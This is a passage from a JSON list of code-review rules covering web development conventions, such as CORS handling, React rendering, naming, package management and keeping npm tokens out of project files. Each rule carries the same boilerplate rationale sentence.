slower. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not pin a dependency to an exact version without a documented reason","rule":"Keep the caret range unless there is a real reason to lock an exact version; an accidental drop of the caret is a bug.","apiRule":"Keep the caret range unless there is a real reason to lock an exact version; an accidental drop of the caret is a bug. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not add scripts whose only purpose is catching another developer's tooling mistake","rule":"Avoid install/preinstall guard scripts that exist only to catch a wrong-package-manager mistake; the cost outweighs the rare one-time error.","apiRule":"Avoid install/preinstall guard scripts that exist only to catch a wrong-package-manager mistake; the cost outweighs the rare one-time error. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Skip routes that only return the same fallback the default handler already provides","rule":"Do not register explicit routes whose only job is to return the same 404/fallback that a catch-all handler already produces.","apiRule":"Do not register explicit routes whose only job is to return the same 404/fallback that a catch-all handler already produces. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Account for spacing variants when running automated find-and-replace","rule":"A codemod or search-replace keyed on exact tokens (e.g. '1rem') will miss spaced variants ('1 rem'); broaden the match or do a manual sweep.","apiRule":"A codemod or search-replace keyed on exact tokens (e.g. '1rem') will miss spaced variants ('1 rem'); broaden the match or do a manual sweep. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use enough decimal precision when rescaling values in a codemod","rule":"When a migration multiplies values by a non-terminating factor, keep enough decimal places (verify, don't assume three is enough) to avoid rounding drift.","apiRule":"When a migration multiplies values by a non-terminating factor, keep enough decimal places (verify, don't assume three is enough) to avoid rounding drift. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove data attributes for analytics tools no longer in use","rule":"Strip leftover tracking data attributes (e.g. GA hooks) once the analytics tool they served has been retired.","apiRule":"Strip leftover tracking data attributes (e.g. GA hooks) once the analytics tool they served has been retired. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type each route's req/res with the exact extended shape it needs","rule":"Extend Request/Response per route with the specific query, params and locals used, instead of one global type carrying many optional properties.","apiRule":"Extend Request/Response per route with the specific query, params and locals used, instead of one global type carrying many optional properties. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Standardize on one package manager and drop unnecessary script arg separators","rule":"Use a single package manager consistently (search and replace stray references) and avoid the extra -- separator pnpm doesn't require for passing flags.","apiRule":"Use a single package manager consistently (search and replace stray references) and avoid the extra -- separator pnpm doesn't require for passing flags. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use named wildcards in modern router path patterns","rule":"With routers built on newer path-to-regexp, use named wildcard syntax (e.g. /*splat) instead of bare /* or embedded regex.","apiRule":"With routers built on newer path-to-regexp, use named wildcard syntax (e.g. /*splat) instead of bare /* or embedded regex. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Add new files using utility classes to the framework's content config","rule":"When introducing a new file that uses Tailwind (or similar JIT utility) classes, add its path to the content/purge config so styles aren't stripped.","apiRule":"When introducing a new file that uses Tailwind (or similar JIT utility) classes, add its path to the content/purge config so styles aren't stripped. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Keep required resource identifiers in the path, not the query string","rule":"An identifier that is required to resolve a resource belongs in the URL path, not as an optional-looking query parameter.","apiRule":"An identifier that is required to resolve a resource belongs in the URL path, not as an optional-looking query parameter. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefix related environment variables with their domain","rule":"Group related environment variables under a consistent domain prefix so their purpose and ownership are clear.","apiRule":"Group related environment variables under a consistent domain prefix so their purpose and ownership are clear. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Include Origin in the Vary header for cached CORS responses","rule":"When CORS responses can be cached, add Origin to Vary so a response for one origin isn't served to another.","apiRule":"When CORS responses can be cached, add Origin to Vary so a response for one origin isn't served to another. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Return CORS headers on both the OPTIONS preflight and the actual request","rule":"Apply CORS handling to both the preflight (OPTIONS) and the real GET/POST handler; browsers block the response otherwise.","apiRule":"Apply CORS handling to both the preflight (OPTIONS) and the real GET/POST handler; browsers block the response otherwise. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Send cookies via credentials: 'include' instead of a manual Cookie header","rule":"Use the fetch credentials option for cross-origin authenticated requests rather than manually copying the Cookie header.","apiRule":"Use the fetch credentials option for cross-origin authenticated requests rather than manually copying the Cookie header. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Log the actual endpoint instead of passing the caller's name just to log it","rule":"When logging an error from a shared request helper, log the endpoint/URL it called rather than threading a caller method name in as an argument.","apiRule":"When logging an error from a shared request helper, log the endpoint/URL it called rather than threading a caller method name in as an argument. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add a hover state to links even when the design omits one","rule":"Provide a hover color for links/buttons as a baseline interaction affordance even if the design spec doesn't specify it.","apiRule":"Provide a hover color for links/buttons as a baseline interaction affordance even if the design spec doesn't specify it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use event delegation instead of attaching duplicate listeners on the same element","rule":"Listen once in a common parent and pass derived data down as props rather than registering N identical listeners on the same element.","apiRule":"Listen once in a common parent and pass derived data down as props rather than registering N identical listeners on the same element. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type Express handlers with RequestHandler instead of listing req/res/next individually","rule":"Use the framework's RequestHandler type to type middleware rather than annotating Request, Response and NextFunction separately each time.","apiRule":"Use the framework's RequestHandler type to type middleware rather than annotating Request, Response and NextFunction separately each time. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Rename a symbol at its definition rather than aliasing at each import","rule":"If a component or function has a misleading name, rename it where it is defined instead of aliasing it on every import.","apiRule":"If a component or function has a misleading name, rename it where it is defined instead of aliasing it on every import. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass Date objects internally and serialize to string only at the boundary","rule":"Keep dates as Date objects through the codebase and only convert to strings when serializing for output.","apiRule":"Keep dates as Date objects through the codebase and only convert to strings when serializing for output. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Cache repeated DOM query results in a variable","rule":"Store the result of a DOM/selector query in a variable instead of re-querying the same element repeatedly.","apiRule":"Store the result of a DOM/selector query in a variable instead of re-querying the same element repeatedly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Be deliberate about value-copy versus reference semantics","rule":"When refactoring, verify whether a value is passed by reference or copied, since that can change behavior such as shared mutations.","apiRule":"When refactoring, verify whether a value is passed by reference or copied, since that can change behavior such as shared mutations. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Export each symbol one way and match how it is imported","rule":"Don't export functions both individually and inside a namespace object if consumers only ever import one form; keep exports consistent with usage.","apiRule":"Don't export functions both individually and inside a namespace object if consumers only ever import one form; keep exports consistent with usage. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Build an object fully then push it once instead of mutating by index","rule":"Construct an object completely and append it to the array in one step rather than repeatedly assigning into array[0].","apiRule":"Construct an object completely and append it to the array in one step rather than repeatedly assigning into array[0]. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name boolean flags after what they mean","rule":"Choose self-explanatory boolean names (e.g. isClickable) that describe the concept rather than vague terms like isAble.","apiRule":"Choose self-explanatory boolean names (e.g. isClickable) that describe the concept rather than vague terms like isAble. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use undefined for missing data instead of sentinel placeholders","rule":"Represent absent values as undefined and check optional fields, rather than substituting strings like 'Unknown' or 0.","apiRule":"Represent absent values as undefined and check optional fields, rather than substituting strings like 'Unknown' or 0. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Hoist loop-invariant computation out of the loop","rule":"Compute values that do not change between iterations once before the loop instead of recomputing them every pass.","apiRule":"Compute values that do not change between iterations once before the loop instead of recomputing them every pass. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not sort or mutate data inside the render method","rule":"Compute sorted or derived data outside render (memoized or upstream) instead of sorting on every render pass.","apiRule":"Compute sorted or derived data outside render (memoized or upstream) instead of sorting on every render pass. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Normalize text to lowercase/kebab-case when deriving CSS class names","rule":"When turning a label into a class name, normalize it (toLowerCase, ideally kebab-case) so styling can be extended without touching the markup.","apiRule":"When turning a label into a class name, normalize it (toLowerCase, ideally kebab-case) so styling can be extended without touching the markup. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't export a symbol that's only used in its own file","rule":"Keep components and helpers unexported when nothing outside the file uses them; only export when a real consumer exists (and move shared ones to a partials/shared module).","apiRule":"Keep components and helpers unexported when nothing outside the file uses them; only export when a real consumer exists (and move shared ones to a partials/shared module). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't add intermediary wrapper components that add nothing","rule":"If a passthrough wrapper component provides no behavior, render its child directly instead of introducing an extra layer.","apiRule":"If a passthrough wrapper component provides no behavior, render its child directly instead of introducing an extra layer. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Finish extracting logic instead of leaving it half-inline","rule":"When pulling logic out of a map/loop into a helper, extract all of it (often into a named component) rather than leaving part as an inline function, which is messier than before.","apiRule":"When pulling logic out of a map/loop into a helper, extract all of it (often into a named component) rather than leaving part as an inline function, which is messier than before. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Lazily initialize a shared global with nullish assignment","rule":"Create-or-reuse a shared global instance (like an IntersectionObserver) with ??= so multiple callers share one instance, expressed in a single readable line.","apiRule":"Create-or-reuse a shared global instance (like an IntersectionObserver) with ??= so multiple callers share one instance, expressed in a single readable line. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use semantic description lists and microdata for label/value data","rule":"Render label/value pairs with <dl>/<dt>/<dd> and add schema.org microdata (itemscope/itemprop) for SEO instead of generic divs.","apiRule":"Render label/value pairs with <dl>/<dt>/<dd> and add schema.org microdata (itemscope/itemprop) for SEO instead of generic divs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't name things \"New\"","rule":"Avoid \"New\" (or \"Old\") in component and symbol names; newness is temporary and conveys nothing about what the thing does.","apiRule":"Avoid \"New\" (or \"Old\") in component and symbol names; newness is temporary and conveys nothing about what the thing does. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep network timeouts realistically short","rule":"Don't set very long request timeouts; if a response hasn't arrived within a couple of seconds it usually won't, and a long timeout just blocks the caller.","apiRule":"Don't set very long request timeouts; if a response hasn't arrived within a couple of seconds it usually won't, and a long timeout just blocks the caller. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Register listeners with the event name, not the handler property name","rule":"addEventListener takes the bare event name (e.g. 'touchstart'), not the on-prefixed property name ('ontouchstart').","apiRule":"addEventListener takes the bare event name (e.g. 'touchstart'), not the on-prefixed property name ('ontouchstart'). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use modulo directly for wrap-around indexing","rule":"Modulo already keeps an index in range, so don't guard it with a redundant comparison before applying it.","apiRule":"Modulo already keeps an index in range, so don't guard it with a redundant comparison before applying it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not nest anchor elements","rule":"Nested <a> tags are invalid HTML and trigger React warnings; ensure an element is wrapped by only one link.","apiRule":"Nested <a> tags are invalid HTML and trigger React warnings; ensure an element is wrapped by only one link. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use one markup with CSS/media queries instead of duplicating markup per breakpoint","rule":"When mobile and desktop share the same structure, render it once and adapt with media queries rather than maintaining separate mobile and desktop markup.","apiRule":"When mobile and desktop share the same structure, render it once and adapt with media queries rather than maintaining separate mobile and desktop markup. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Pick the simplest API that solves the measurement problem","rule":"Don't reach for IntersectionObserver for a one-off measurement that a single getBoundingClientRect would solve.","apiRule":"Don't reach for IntersectionObserver for a one-off measurement that a single getBoundingClientRect would solve. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Design UI for all fetch states: success, loading, error, empty","rule":"Every data fetch has success, loading, error, and empty states; explicitly design and render each rather than conflating them.","apiRule":"Every data fetch has success, loading, error, and empty states; explicitly design and render each rather than conflating them. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"If a global may be absent, type it as optional","rule":"When window globals might not exist, reflect that in the type definitions (optional) rather than asserting and guarding ad hoc.","apiRule":"When window globals might not exist, reflect that in the type definitions (optional) rather than asserting and guarding ad hoc. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Name .d.ts files after what they declare, not a bare module name","rule":"A file like window.d.ts implies `declare module 'window'`; name ambient declaration files to reflect their actual purpose/location.","apiRule":"A file like window.d.ts implies `declare module 'window'`; name ambient declaration files to reflect their actual purpose/location. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid extending built-in prototypes; export a utility instead","rule":"Don't add methods to global built-ins like Date/Number; provide a standalone helper function so it's clear what is built-in vs custom.","apiRule":"Don't add methods to global built-ins like Date/Number; provide a standalone helper function so it's clear what is built-in vs custom. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Access DOM elements through the ref object, not a captured variable","rule":"Read element.current at use time rather than caching node into a local that can go stale when the ref changes.","apiRule":"Read element.current at use time rather than caching node into a local that can go stale when the ref changes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid extra state writes that the render already guards","rule":"Don't add a class/flag in an effect when the JSX already conditionally applies it; the duplicate write causes extra renders.","apiRule":"Don't add a class/flag in an effect when the JSX already conditionally applies it; the duplicate write causes extra renders. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use unitless line-height values","rule":"Specify line-height as a unitless multiplier so it scales with font size, instead of fixed px.","apiRule":"Specify line-height as a unitless multiplier so it scales with font size, instead of fixed px. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't console.error an error already surfaced in the UI","rule":"Skip logging an error the user already sees rendered; if you log for debugging, gate it to development only.","apiRule":"Skip logging an error the user already sees rendered; if you log for debugging, gate it to development only. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't convert a value's type back and forth across layers","rule":"Pick one representation for a value and keep it consistent; avoid serializing number-to-string on the backend then parsing it back on the frontend.","apiRule":"Pick one representation for a value and keep it consistent; avoid serializing number-to-string on the backend then parsing it back on the frontend. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Factor out repeated URL-building steps","rule":"When the same path/query assembly is duplicated across branches, consolidate it into one set of conditional appends.","apiRule":"When the same path/query assembly is duplicated across branches, consolidate it into one set of conditional appends. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't include return-object fields that are always set to a constant","rule":"Drop properties that are unconditionally zeroed/empty in a returned object unless a downstream consumer truly requires the key.","apiRule":"Drop properties that are unconditionally zeroed/empty in a returned object unless a downstream consumer truly requires the key. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a stable cache key, not a unique-per-request param","rule":"Don't bust caching with a fresh value on every request; change the cache-key param only when the underlying inputs actually change.","apiRule":"Don't bust caching with a fresh value on every request; change the cache-key param only when the underlying inputs actually change. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid resize listeners for non-critical layout adjustments","rule":"Skip window resize handlers for cosmetic, non-critical layout that would be costly to re-evaluate; let a refresh re-run the measurement.","apiRule":"Skip window resize handlers for cosmetic, non-critical layout that would be costly to re-evaluate; let a refresh re-run the measurement. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use observer.disconnect() instead of tracking refs to unobserve","rule":"When cleaning up an IntersectionObserver/ResizeObserver, call disconnect() rather than holding the element to call unobserve and null-checking refs.","apiRule":"When cleaning up an IntersectionObserver/ResizeObserver, call disconnect() rather than holding the element to call unobserve and null-checking refs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Trim trailing whitespace but keep the final newline","rule":"Configure your editor to trim trailing whitespace while preserving the single trailing newline at end of file.","apiRule":"Configure your editor to trim trailing whitespace while preserving the single trailing newline at end of file. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep personal auth tokens in the user-level config, not project files","rule":"Place personal registry/auth tokens in your global ~/.npmrc (or shell env), never in the project-tracked .npmrc.","apiRule":"Place personal registry/auth tokens in your global ~/.npmrc (or shell env), never in the project-tracked .npmrc. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Make the full intended region scrollable, not a partial inner container","rule":"Apply horizontal scroll to the whole logical row that reaches the viewport edge so content isn't cut off mid-container.","apiRule":"Apply horizontal scroll to the whole logical row that reaches the viewport edge so content isn't cut off mid-container. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard optional meta tags with an existence check on their content","rule":"Only emit a meta/SEO tag when the value backing it actually exists, rather than rendering empty tags.","apiRule":"Only emit a meta/SEO tag when the value backing it actually exists, rather than rendering empty tags. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not repeat the same guard check in parent and child","rule":"If a parent already guards on a condition before rendering a child, the child does not need to re-check the same condition.","apiRule":"If a parent already guards on a condition before rendering a child, the child does not need to re-check the same condition. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add an English comment next to non-English UI strings","rule":"When hardcoded copy is in a language not all reviewers read, leave a short translation comment so reviewers can verify it without a translator.","apiRule":"When hardcoded copy is in a language not all reviewers read, leave a short translation comment so reviewers can verify it without a translator. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a consistent import style across similar units","rule":"When several similar pieces of code can import a type/util two equivalent ways, pick one style and apply it consistently.","apiRule":"When several similar pieces of code can import a type/util two equivalent ways, pick one style and apply it consistently. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Strip ad/tracking config and meta that the feature doesn't need","rule":"Don't carry over 